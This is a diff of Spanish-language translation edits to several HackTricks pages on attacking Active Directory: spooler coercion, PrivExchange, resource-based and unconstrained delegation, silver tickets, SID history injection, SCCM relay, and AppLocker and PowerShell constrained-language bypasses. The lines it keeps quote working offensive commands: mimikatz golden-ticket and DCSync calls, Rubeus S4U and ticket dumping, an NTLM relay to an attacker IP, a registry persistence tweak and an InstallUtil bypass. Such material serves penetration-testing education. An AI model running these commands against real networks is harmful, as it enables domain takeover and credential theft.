{(OperatingSystem -like "*windows*server*") -and (Operati ``` ### Encontrar servicios de Spooler escuchando -Usando un @mysmartlogin ligeramente modificado (Vincent Le Toux) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando: +Usando un @mysmartlogin (Vincent Le Toux) ligeramente modificado [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), verifica si el Servicio de Spooler está escuchando: ```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} @@ -51,7 +51,7 @@ https://github.com/p0dalirius/Coercer ## PrivExchange -El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que cualquier usuario de dominio con un buzón fuerce al servidor de Exchange a autenticarse con cualquier host proporcionado por el cliente a través de HTTP. +El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP. Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada. @@ -78,7 +78,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` -O use esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) +O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) ### Certutil @@ -104,13 +104,14 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági ``` ## Otras formas de forzar y pescar la autenticación NTLM + {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md {{#endref}} ## Rompiendo NTLMv1 -Si puedes capturar [los desafíos NTLMv1, lee aquí cómo romperlos](../ntlm/index.html#ntlmv1-attack).\ +Si puedes capturar [desafíos NTLMv1 lee aquí cómo romperlos](../ntlm/index.html#ntlmv1-attack).\ _Recuerda que para romper NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 0d2eb71b9..b0fe55296 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -13,22 +13,22 @@ Otra diferencia importante de esta Delegación Constrain con respecto a las otra ### Nuevos Conceptos -En la Delegación Constrain se mencionó que el **`TrustedToAuthForDelegation`** flag dentro del valor _userAccountControl_ del usuario es necesario para realizar un **S4U2Self.** Pero eso no es completamente cierto.\ -La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN) pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** ese flag el TGS devuelto **no será** **Forwardable**. +En la Delegación Constrain se mencionó que la **`TrustedToAuthForDelegation`** bandera dentro del valor _userAccountControl_ del usuario es necesaria para realizar un **S4U2Self.** Pero eso no es completamente cierto.\ +La realidad es que incluso sin ese valor, puedes realizar un **S4U2Self** contra cualquier usuario si eres un **servicio** (tienes un SPN) pero, si **tienes `TrustedToAuthForDelegation`** el TGS devuelto será **Forwardable** y si **no tienes** esa bandera el TGS devuelto **no será** **Forwardable**. -Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable** intentar abusar de una **delegación Constrain básica** **no funcionará**. Pero si estás tratando de explotar una **delegación Constrain basada en recursos, funcionará**. +Sin embargo, si el **TGS** utilizado en **S4U2Proxy** **NO es Forwardable**, intentar abusar de una **delegación Constrain básica** **no funcionará**. Pero si estás tratando de explotar una **delegación Constrain basada en recursos, funcionará**. ### Estructura del Ataque -> Si tienes **privilegios equivalentes de escritura** sobre una cuenta de **Computadora** puedes obtener **acceso privilegiado** en esa máquina. +> Si tienes **privilegios equivalentes de escritura** sobre una cuenta de **Computadora**, puedes obtener **acceso privilegiado** en esa máquina. Supongamos que el atacante ya tiene **privilegios equivalentes de escritura sobre la computadora víctima**. 1. El atacante **compromete** una cuenta que tiene un **SPN** o **crea uno** (“Servicio A”). Ten en cuenta que **cualquier** _Usuario Admin_ sin ningún otro privilegio especial puede **crear** hasta 10 objetos de Computadora (**_MachineAccountQuota_**) y establecerles un **SPN**. Así que el atacante puede simplemente crear un objeto de Computadora y establecer un SPN. -2. El atacante **abusa de su privilegio de ESCRITURA** sobre la computadora víctima (ServicioB) para configurar **delegación constrain basada en recursos para permitir que ServicioA suplantar a cualquier usuario** contra esa computadora víctima (ServicioB). -3. El atacante utiliza Rubeus para realizar un **ataque S4U completo** (S4U2Self y S4U2Proxy) desde Servicio A a Servicio B para un usuario **con acceso privilegiado a Servicio B**. +2. El atacante **abusa de su privilegio de ESCRITURA** sobre la computadora víctima (ServicioB) para configurar **delegación constrain basada en recursos para permitir que ServiceA supla a cualquier usuario** contra esa computadora víctima (ServicioB). +3. El atacante utiliza Rubeus para realizar un **ataque S4U completo** (S4U2Self y S4U2Proxy) desde el Servicio A al Servicio B para un usuario **con acceso privilegiado al Servicio B**. 1. S4U2Self (desde la cuenta SPN comprometida/creada): Pide un **TGS de Administrador para mí** (No Forwardable). -2. S4U2Proxy: Usa el **TGS no Forwardable** del paso anterior para pedir un **TGS** de **Administrador** para el **host víctima**. +2. S4U2Proxy: Usa el **TGS no Forwardable** del paso anterior para pedir un **TGS** de **Administrador** al **host víctima**. 3. Incluso si estás usando un TGS no Forwardable, como estás explotando la delegación constrain basada en recursos, funcionará. 4. El atacante puede **pasar el ticket** y **suplantar** al usuario para obtener **acceso al ServicioB víctima**. @@ -88,7 +88,7 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:admin > [!CAUTION] > Tenga en cuenta que los usuarios tienen un atributo llamado "**No se puede delegar**". Si un usuario tiene este atributo en True, no podrá impersonarlo. Esta propiedad se puede ver dentro de bloodhound. -### Linux tooling: end-to-end RBCD with Impacket (2024+) +### Herramientas de Linux: RBCD de extremo a extremo con Impacket (2024+) Si opera desde Linux, puede realizar toda la cadena RBCD utilizando las herramientas oficiales de Impacket: ```bash @@ -115,7 +115,7 @@ Notas ### Accediendo La última línea de comando realizará el **ataque S4U completo e inyectará el TGS** desde Administrator al host víctima en **memoria**.\ -En este ejemplo, se solicitó un TGS para el servicio **CIFS** desde Administrator, por lo que podrá acceder a **C$**: +En este ejemplo se solicitó un TGS para el servicio **CIFS** desde Administrator, por lo que podrá acceder a **C$**: ```bash ls \\victim.domain.local\C$ ``` @@ -143,14 +143,14 @@ try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $n } } ``` -Impacket (leer o vaciar con un solo comando): +Impacket (leer o vaciar con un comando): ```bash # Read who can delegate to VICTIM impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!' ``` ### Limpieza / reinicio de RBCD -- PowerShell (borrar el atributo): +- PowerShell (limpiar el atributo): ```powershell Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' # Or using the friendly property @@ -178,11 +178,13 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025 - También puedes escribir el SD de RBCD sobre los Servicios Web de AD (ADWS) si LDAP está filtrado. Ver: + {{#ref}} adws-enumeration.md {{#endref}} -- Las cadenas de relé de Kerberos a menudo terminan en RBCD para lograr SYSTEM local en un solo paso. Ver ejemplos prácticos de extremo a extremo: +- Las cadenas de relé de Kerberos frecuentemente terminan en RBCD para lograr SYSTEM local en un solo paso. Ver ejemplos prácticos de extremo a extremo: + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -198,4 +200,5 @@ adws-enumeration.md - Impacket rbcd.py (oficial): https://github.com/fortra/impacket/blob/master/examples/rbcd.py - Hoja de trucos rápida de Linux con sintaxis reciente: https://tldrbins.github.io/rbcd/ + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md index 54c092278..cc17e64e1 100644 --- a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -58,7 +58,7 @@ proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth ``` Cambia a la base de datos **CM_** (usa el código de sitio de 3 dígitos, por ejemplo, `CM_001`). -### 3.1 Encontrar GUIDs de Computadora Desconocida (opcional) +### 3.1 Encontrar GUIDs de Computadoras Desconocidas (opcional) ```sql USE CM_001; SELECT SMS_Unique_Identifier0 @@ -135,13 +135,15 @@ mismas mitigaciones utilizadas contra `PetitPotam`/`PrinterBug`). --- -## Véase también -* Fundamentos del relay NTLM: +## Ver también +* Fundamentos de relay NTLM: + {{#ref}} ../ntlm/README.md {{#endref}} * Abuso de MSSQL y post-explotación: + {{#ref}} abusing-ad-mssql.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/sid-history-injection.md b/src/windows-hardening/active-directory-methodology/sid-history-injection.md index 962d5e2c9..dc78c7916 100644 --- a/src/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/src/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -20,9 +20,9 @@ Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSi > Tenga en cuenta que es posible deshabilitar el historial de SID en una relación de confianza, lo que hará que este ataque falle. Según los [**docs**](https://technet.microsoft.com/library/cc835085.aspx): -- **Deshabilitar SIDHistory en relaciones de confianza de bosque** utilizando la herramienta netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) -- **Aplicar cuarentena de filtro SID a relaciones de confianza externas** utilizando la herramienta netdom (`netdom trust /domain: /quarantine:yes on the domain controller`) -- **Aplicar filtrado de SID a relaciones de confianza de dominio dentro de un solo bosque** no se recomienda, ya que es una configuración no soportada y puede causar cambios disruptivos. Si un dominio dentro de un bosque no es de confianza, entonces no debería ser miembro del bosque. En esta situación, es necesario primero dividir los dominios de confianza y no confiables en bosques separados donde se pueda aplicar el filtrado de SID a una relación de confianza interbosque. +- **Deshabilitar SIDHistory en relaciones de confianza de bosque** utilizando la herramienta netdom (`netdom trust /domain: /EnableSIDHistory:no en el controlador de dominio`) +- **Aplicar cuarentena de filtro SID a relaciones de confianza externas** utilizando la herramienta netdom (`netdom trust /domain: /quarantine:yes en el controlador de dominio`) +- **Aplicar filtrado de SID a relaciones de confianza de dominio dentro de un solo bosque** no se recomienda, ya que es una configuración no soportada y puede causar cambios disruptivos. Si un dominio dentro de un bosque no es confiable, entonces no debería ser miembro del bosque. En esta situación, es necesario primero dividir los dominios confiables y no confiables en bosques separados donde se pueda aplicar el filtrado de SID a una relación de confianza interbosque. Consulte esta publicación para obtener más información sobre cómo eludir esto: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4) @@ -63,6 +63,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain: /sid ``` Para más información sobre los tickets dorados, consulta: + {{#ref}} golden-ticket.md {{#endref}} @@ -70,6 +71,7 @@ golden-ticket.md Para más información sobre los tickets de diamante, consulta: + {{#ref}} diamond-ticket.md {{#endref}} @@ -127,8 +129,8 @@ Este es un script de Impacket que **automatiza la escalada de un dominio hijo a El flujo es: -- Obtiene el SID para el grupo de Administradores de la Empresa del dominio padre -- Recupera el hash para la cuenta KRBTGT en el dominio hijo +- Obtiene el SID del grupo de Administradores de la Empresa del dominio padre +- Recupera el hash de la cuenta KRBTGT en el dominio hijo - Crea un Golden Ticket - Inicia sesión en el dominio padre - Recupera credenciales para la cuenta de Administrador en el dominio padre diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index d2111065c..6465604b3 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} + + ## Silver ticket El ataque de **Silver Ticket** implica la explotación de tickets de servicio en entornos de Active Directory (AD). Este método se basa en **adquirir el hash NTLM de una cuenta de servicio**, como una cuenta de computadora, para falsificar un ticket de Servicio de Concesión de Tickets (TGS). Con este ticket falsificado, un atacante puede acceder a servicios específicos en la red, **suplantando a cualquier usuario**, generalmente con el objetivo de obtener privilegios administrativos. Se enfatiza que usar claves AES para falsificar tickets es más seguro y menos detectable. @@ -43,14 +45,14 @@ El servicio CIFS se destaca como un objetivo común para acceder al sistema de a | ------------------------------------------ | ------------------------------------------------------------------------ | | WMI |

HOST

RPCSS

| | PowerShell Remoting |

HOST

HTTP

Dependiendo del SO también:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

En algunas ocasiones puedes simplemente pedir: WINRM

| +| WinRM |

HOST

HTTP

En algunas ocasiones solo puedes pedir: WINRM

| | Tareas Programadas | HOST | | Compartición de Archivos de Windows, también psexec | CIFS | | Operaciones LDAP, incluido DCSync | LDAP | -| Herramientas de Administración Remota de Windows |

RPCSS

LDAP

CIFS

| +| Herramientas de Administración Remota de Windows |

RPCSS

LDAP

CIFS

| | Tickets Dorados | krbtgt | -Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro: +Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` @@ -62,7 +64,7 @@ Usando **Rubeus** puedes **solicitar todos** estos tickets usando el parámetro: ## Persistencia -Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o podrías establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor de 30 días para indicar el período de rotación cuando la contraseña de las máquinas debe ser rotada. +Para evitar que las máquinas roten su contraseña cada 30 días, establece `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` o podrías establecer `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` a un valor mayor de 30 días para indicar el período de rotación cuando la contraseña de la máquina debe ser rotada. ## Abusando de los tickets de Servicio @@ -70,7 +72,7 @@ En los siguientes ejemplos imaginemos que el ticket se recupera suplantando la c ### CIFS -Con este ticket podrás acceder a la carpeta `C$` y `ADMIN$` a través de **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como: +Con este ticket podrás acceder a la carpeta `C$` y `ADMIN$` a través de **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto solo haciendo algo como: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ @@ -137,6 +139,7 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc ``` **Aprende más sobre DCSync** en la siguiente página: + {{#ref}} dcsync.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 70bedb1e4..31fb8725e 100644 --- a/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -6,7 +6,7 @@ Esta es una característica que un Administrador de Dominio puede establecer en cualquier **Computadora** dentro del dominio. Luego, cada vez que un **usuario inicia sesión** en la Computadora, una **copia del TGT** de ese usuario será **enviada dentro del TGS** proporcionado por el DC **y guardada en memoria en LSASS**. Así que, si tienes privilegios de Administrador en la máquina, podrás **extraer los tickets e impersonar a los usuarios** en cualquier máquina. -Entonces, si un administrador de dominio inicia sesión en una Computadora con la característica de "Unconstrained Delegation" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (domain privesc). +Así que si un administrador de dominio inicia sesión en una Computadora con la característica de "Delegación No Restringida" activada, y tú tienes privilegios de administrador local en esa máquina, podrás extraer el ticket e impersonar al Administrador de Dominio en cualquier lugar (privesc de dominio). Puedes **encontrar objetos de Computadora con este atributo** verificando si el atributo [userAccountControl]() contiene [ADS_UF_TRUSTED_FOR_DELEGATION](). Puedes hacer esto con un filtro LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, que es lo que hace powerview: ```bash @@ -30,7 +30,7 @@ kerberos::list /export #Another way Rubeus.exe dump Rubeus.exe monitor /interval:10 [/filteruser:] #Check every 10s for new TGTs ``` -Cargue el ticket del Administrador (o usuario víctima) en memoria con **Mimikatz** o **Rubeus para un** [**Pass the Ticket**](pass-the-ticket.md)**.**\ +Cargue el ticket del Administrador (o del usuario víctima) en memoria con **Mimikatz** o **Rubeus para un** [**Pass the Ticket**](pass-the-ticket.md)**.**\ Más información: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\ [**Más información sobre la delegación no restringida en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation) @@ -48,6 +48,7 @@ Si el TGT proviene de un controlador de dominio, podrías realizar un [**ataque Encuentra aquí otras formas de **forzar una autenticación:** + {{#ref}} printers-spooler-service-abuse.md {{#endref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md index b8039e07c..103e70789 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs.md @@ -9,7 +9,7 @@ Una lista blanca de aplicaciones es una lista de aplicaciones de software o ejec [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) es la **solución de lista blanca de aplicaciones** de Microsoft y da a los administradores del sistema control sobre **qué aplicaciones y archivos pueden ejecutar los usuarios**. Proporciona **control granular** sobre ejecutables, scripts, archivos de instalación de Windows, DLLs, aplicaciones empaquetadas y instaladores de aplicaciones empaquetadas.\ Es común que las organizaciones **bloqueen cmd.exe y PowerShell.exe** y el acceso de escritura a ciertos directorios, **pero todo esto se puede eludir**. -### Verificación +### Verificar Verifique qué archivos/extensiones están en la lista negra/lista blanca: ```bash @@ -36,8 +36,8 @@ C:\windows\tracing - Los binarios comúnmente **confiables** [**"LOLBAS's"**](https://lolbas-project.github.io/) también pueden ser útiles para eludir AppLocker. - **Reglas mal escritas también podrían ser eludidas** - Por ejemplo, **``**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida. -- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. -- **La aplicación de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. +- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones del ejecutable de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. +- **La imposición de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. - Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Almacenamiento de Credenciales @@ -119,7 +119,7 @@ Este método de encriptación permite **acceso transparente** a los archivos enc - La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red. - Los archivos encriptados son accesibles para el propietario sin pasos adicionales. -### Verificar información de EFS +### Ver información de EFS Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\\appdata\roaming\Microsoft\Protect` @@ -182,10 +182,10 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -En Windows actual, ese bypass no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Explorar_ -> _Explorar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. +En Windows actual, esa elusión no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**. -#### Bypass directo: +#### Elusión directa: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index d91839a03..acc3d8035 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -34,10 +34,10 @@ C:\Windows\Tasks C:\windows\tracing ``` - Los binarios comúnmente **confiables** [**"LOLBAS's"**](https://lolbas-project.github.io/) también pueden ser útiles para eludir AppLocker. -- **Las reglas mal escritas también podrían ser eludidas** +- **Reglas mal escritas también podrían ser eludidas** - Por ejemplo, **``**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida. - Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones de ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`. -- **La aplicación de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. +- **La imposición de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**. - Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Almacenamiento de Credenciales @@ -103,7 +103,7 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** $EFS del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la **clave privada** correspondiente del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** del archivo encriptado $EFS. Cuando se necesita la desencriptación, se utiliza la correspondiente **clave privada** del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System). **Escenarios de desencriptación sin iniciación del usuario** incluyen: @@ -121,10 +121,10 @@ Este método de encriptación permite **acceso transparente** a los archivos enc ### Ver información de EFS -Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\\appdata\roaming\Microsoft\Protect` +Verifica si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\\appdata\roaming\Microsoft\Protect` -Verifique **quién** tiene **acceso** al archivo usando cipher /c \\ -También puede usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos +Verifica **quién** tiene **acceso** al archivo usando cipher /c \\ +También puedes usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos ### Desencriptando archivos EFS @@ -142,13 +142,13 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras de TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la configuración de "**La contraseña nunca expira**", los gMSA ofrecen una solución más segura y manejable: -- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política del dominio o del equipo. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas. +- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política del dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas. - **Seguridad Mejorada**: estas cuentas son inmunes a bloqueos y no pueden ser utilizadas para inicios de sesión interactivos, mejorando su seguridad. - **Soporte para Múltiples Hosts**: los gMSA pueden ser compartidos entre múltiples hosts, lo que los hace ideales para servicios que se ejecutan en múltiples servidores. -- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA admiten la ejecución de tareas programadas. -- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount del equipo o en el nombre DNS, simplificando la gestión de SPN. +- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA soportan la ejecución de tareas programadas. +- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN. -Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'. +Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DCs). Esta contraseña, un blob de datos encriptado conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) @@ -170,7 +170,7 @@ La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para d ## Modo de Lenguaje Restringido de PowerShell -PowerShell [**Modo de Lenguaje Restringido**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloquea muchas de las características** necesarias para usar PowerShell de manera efectiva, como 